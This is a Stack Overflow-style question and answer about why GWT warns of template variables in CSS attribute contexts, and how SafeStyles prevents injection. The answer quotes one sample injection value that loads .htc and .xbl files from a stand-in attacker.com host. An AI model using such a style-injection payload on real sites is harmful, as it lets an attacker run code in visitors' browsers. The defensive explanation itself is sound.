GWT "Template with variable in CSS attribute context" Warning is bad?
Asked Answered
M

1

5

Im using obfuscated styles eg.

    <ui:style>
        .explanation {
            text-align: center;
        }
    </ui:style>
...
    <g:HTMLPanel>
        <div class="{style.explanation}">
...

Is this bad practice?

It looks ok when I check the HTML, or perhaps I'm misunderstanding the warning..

Im getting the following warning in Development Mode with GWT :

Template with variable in CSS attribute context: 
The template code generator cannot guarantee HTML-safety of the template
 -- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
Mensch answered 16/11, 2011 at 7:12 Comment(0)
T
9

class is not a "CSS attribute context", only style is (and <style>); so I doubt the warning comes from the code you showed (which is exactly how things are meant to be used, so not a bad practice at all).

The warning appears when you have things like style='width: {foo}; height: {bar}', because there's no guarantee (at compile-time) that foo or bar won't contain something like 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl). In that case, you should rather use style='{myStyle}' where myStyle is an instance of SafeStyles.

Transcendence answered 16/11, 2011 at 10:23 Comment(3)
Thanks I did a free text search in my uibinder for 'style=' but thinking about it the exception may be misleading and it may relate to one of the nested UIBinders.. I'll let y'all know how i get onMensch
IIRC, there might be one such warning coming from GWT itself (in a Cell maybe)Transcendence
Had this problem. This was the answer. Remove HTMLPanel / HTML everything from your ui.xml and you'll probably see what's wrong.Considering

© 2022 - 2024 — McMap. All rights reserved.